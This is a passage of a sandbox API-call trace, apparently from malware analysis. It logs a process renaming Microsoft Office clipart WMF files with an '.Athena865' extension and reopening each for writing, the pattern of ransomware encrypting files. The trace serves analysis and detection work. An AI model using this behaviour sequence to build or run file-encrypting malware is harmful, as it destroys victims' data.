(in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33824) returned 1 [0127.060] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185800.WMF" | out: lpString1="J0185800.WMF") returned="J0185800.WMF" [0127.060] lstrlenW (lpString="J0185800.WMF") returned 12 [0127.060] lstrlenW (lpString="Athena865") returned 9 [0127.060] lstrcmpiW (lpString1="85800.WMF", lpString2="Athena865") returned -1 [0127.060] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.Athena865") returned 73 [0127.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.athena865"), dwFlags=0x1) returned 1 [0127.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.062] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24238) returned 1 [0127.066] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185806.WMF" | out: lpString1="J0185806.WMF") returned="J0185806.WMF" [0127.066] lstrlenW (lpString="J0185806.WMF") returned 12 [0127.066] lstrlenW (lpString="Athena865") returned 9 [0127.066] lstrcmpiW (lpString1="85806.WMF", lpString2="Athena865") returned -1 [0127.067] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.Athena865") returned 73 [0127.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.athena865"), dwFlags=0x1) returned 1 [0127.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.068] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30522) returned 1 [0127.081] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185818.WMF" | out: lpString1="J0185818.WMF") returned="J0185818.WMF" [0127.081] lstrlenW (lpString="J0185818.WMF") returned 12 [0127.081] lstrlenW (lpString="Athena865") returned 9 [0127.081] lstrcmpiW (lpString1="85818.WMF", lpString2="Athena865") returned -1 [0127.082] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.Athena865") returned 73 [0127.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.athena865"), dwFlags=0x1) returned 1 [0127.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.088] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35726) returned 1 [0127.093] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185828.WMF" | out: lpString1="J0185828.WMF") returned="J0185828.WMF" [0127.093] lstrlenW (lpString="J0185828.WMF") returned 12 [0127.093] lstrlenW (lpString="Athena865") returned 9 [0127.093] lstrcmpiW (lpString1="85828.WMF", lpString2="Athena865") returned -1 [0127.093] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.Athena865") returned 73 [0127.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.athena865"), dwFlags=0x1) returned 1 [0127.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.096] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7796) returned 1 [0127.100] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185834.WMF" | out: lpString1="J0185834.WMF") returned="J0185834.WMF" [0127.100] lstrlenW (lpString="J0185834.WMF") returned 12 [0127.100] lstrlenW (lpString="Athena865") returned 9 [0127.100] lstrcmpiW (lpString1="85834.WMF", lpString2="Athena865") returned -1 [0127.100] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.Athena865") returned 73 [0127.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.athena865"), dwFlags=0x1) returned 1 [0127.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.101] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8578) returned 1 [0127.106] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185842.WMF" | out: lpString1="J0185842.WMF") returned="J0185842.WMF" [0127.106] lstrlenW (lpString="J0185842.WMF") returned 12 [0127.106] lstrlenW (lpString="Athena865") returned 9 [0127.106] lstrcmpiW (lpString1="85842.WMF", lpString2="Athena865") returned -1 [0127.106] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.Athena865") returned 73 [0127.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.athena865"), dwFlags=0x1) returned 1 [0127.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.112] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14308) returned 1 [0127.115] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0186346.WMF" | out: lpString1="J0186346.WMF") returned="J0186346.WMF" [0127.115] lstrlenW (lpString="J0186346.WMF") returned 12 [0127.115] lstrlenW (lpString="Athena865") returned 9 [0127.115] lstrcmpiW (lpString1="86346.WMF", lpString2="Athena865") returned -1 [0127.115] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.Athena865") returned 73 [0127.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.athena865"), dwFlags=0x1) returned 1 [0127.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.125] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8666) returned 1 [0127.131] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0186360.WMF" | out: lpString1="J0186360.WMF") returned="J0186360.WMF" [0127.132] lstrlenW (lpString="J0186360.WMF") returned 12 [0127.132] lstrlenW (lpString="Athena865") returned 9 [0127.132] lstrcmpiW (lpString1="86360.WMF", lpString2="Athena865") returned -1 [0127.132] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.Athena865") returned 73 [0127.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.athena865"), dwFlags=0x1) returned 1 [0127.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.143] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33850) returned 1 [0127.148] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0186362.WMF" | out: lpString1="J0186362.WMF") returned="J0186362.WMF" [0127.148] lstrlenW (lpString="J0186362.WMF") returned 12 [0127.148] lstrlenW (lpString="Athena865") returned 9 [0127.148] lstrcmpiW (lpString1="86362.WMF", lpString2="Athena865") returned -1 [0127.149] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.Athena865") returned 73 [0127.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.athena865"), dwFlags=0x1) returned 1 [0127.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.152] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17662) returned 1 [0127.162] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0186364.WMF" | out: lpString1="J0186364.WMF") returned="J0186364.WMF" [0127.162] lstrlenW (lpString="J0186364.WMF") returned 12 [0127.162] lstrlenW (lpString="Athena865") returned 9 [0127.162] lstrcmpiW (lpString1="86364.WMF", lpString2="Athena865") returned -1 [0127.162] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.Athena865") returned 73 [0127.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.athena865"), dwFlags=0x1) returned 1 [0127.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.170] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18212) returned 1 [0127.178] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187647.WMF" | out: lpString1="J0187647.WMF") returned="J0187647.WMF" [0127.178] lstrlenW (lpString="J0187647.WMF") returned 12 [0127.179] lstrlenW (lpString="Athena865") returned 9 [0127.179] lstrcmpiW (lpString1="87647.WMF", lpString2="Athena865") returned -1 [0127.179] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.Athena865") returned 73 [0127.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.athena865"), dwFlags=0x1) returned 1 [0127.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.183] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6596) returned 1 [0127.186] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187815.WMF" | out: lpString1="J0187815.WMF") returned="J0187815.WMF" [0127.186] lstrlenW (lpString="J0187815.WMF") returned 12 [0127.186] lstrlenW (lpString="Athena865") returned 9 [0127.186] lstrcmpiW (lpString1="87815.WMF", lpString2="Athena865") returned -1 [0127.187] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.Athena865") returned 73 [0127.187] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.athena865"), dwFlags=0x1) returned 1 [0127.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.188] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5376) returned 1 [0127.191] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187817.WMF" | out: lpString1="J0187817.WMF") returned="J0187817.WMF" [0127.191] lstrlenW (lpString="J0187817.WMF") returned 12 [0127.191] lstrlenW (lpString="Athena865") returned 9 [0127.191] lstrcmpiW (lpString1="87817.WMF", lpString2="Athena865") returned -1 [0127.191] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.Athena865") returned 73 [0127.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.athena865"), dwFlags=0x1) returned 1 [0127.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.193] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11644) returned 1 [0127.196] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187819.WMF" | out: lpString1="J0187819.WMF") returned="J0187819.WMF" [0127.196] lstrlenW (lpString="J0187819.WMF") returned 12 [0127.196] lstrlenW (lpString="Athena865") returned 9 [0127.196] lstrcmpiW (lpString1="87819.WMF", lpString2="Athena865") returned -1 [0127.196] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.Athena865") returned 73 [0127.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.athena865"), dwFlags=0x1) returned 1 [0127.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.198] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10352) returned 1 [0127.201] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187825.WMF" | out: lpString1="J0187825.WMF") returned="J0187825.WMF" [0127.201] lstrlenW (lpString="J0187825.WMF") returned 12 [0127.201] lstrlenW (lpString="Athena865") returned 9 [0127.201] lstrcmpiW (lpString1="87825.WMF", lpString2="Athena865") returned -1 [0127.201] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.Athena865") returned 73 [0127.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.athena865"), dwFlags=0x1) returned 1 [0127.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.203] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7500) returned 1 [0127.208] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187829.WMF" | out: lpString1="J0187829.WMF") returned="J0187829.WMF" [0127.208] lstrlenW (lpString="J0187829.WMF") returned 12 [0127.208] lstrlenW (lpString="Athena865") returned 9 [0127.208] lstrcmpiW (lpString1="87829.WMF", lpString2="Athena865") returned -1 [0127.208] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.Athena865") returned 73 [0127.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.athena865"), dwFlags=0x1) returned 1 [0127.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.209] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12352) returned 1 [0127.212] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187835.WMF" | out: lpString1="J0187835.WMF") returned="J0187835.WMF" [0127.212] lstrlenW (lpString="J0187835.WMF") returned 12 [0127.212] lstrlenW (lpString="Athena865") returned 9 [0127.212] lstrcmpiW (lpString1="87835.WMF", lpString2="Athena865") returned -1 [0127.212] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.Athena865") returned 73 [0127.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.athena865"), dwFlags=0x1) returned 1 [0127.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.214] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9344) returned 1 [0127.217] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187837.WMF" | out: lpString1="J0187837.WMF") returned="J0187837.WMF" [0127.217] lstrlenW (lpString="J0187837.WMF") returned 12 [0127.217] lstrlenW (lpString="Athena865") returned 9 [0127.217] lstrcmpiW (lpString1="87837.WMF", lpString2="Athena865") returned -1 [0127.217] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.Athena865") returned 73 [0127.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.athena865"), dwFlags=0x1) returned 1 [0127.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.219] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16354) returned 1 [0127.222] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187839.WMF" | out: lpString1="J0187839.WMF") returned="J0187839.WMF" [0127.222] lstrlenW (lpString="J0187839.WMF") returned 12 [0127.222] lstrlenW (lpString="Athena865") returned 9 [0127.222] lstrcmpiW (lpString1="87839.WMF", lpString2="Athena865") returned -1 [0127.222] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.Athena865") returned 73 [0127.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.athena865"), dwFlags=0x1) returned 1 [0127.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.224] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5372) returned 1 [0127.227] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0187847.WMF" | out: lpString1="J0187847.WMF") returned="J0187847.WMF" [0127.227] lstrlenW (lpString="J0187847.WMF") returned 12 [0127.227] lstrlenW (lpString="Athena865") returned 9 [0127.227] lstrcmpiW (lpString1="87847.WMF", lpString2="Athena865") returned -1 [0127.227] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.Athena865") returned 73 [0127.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 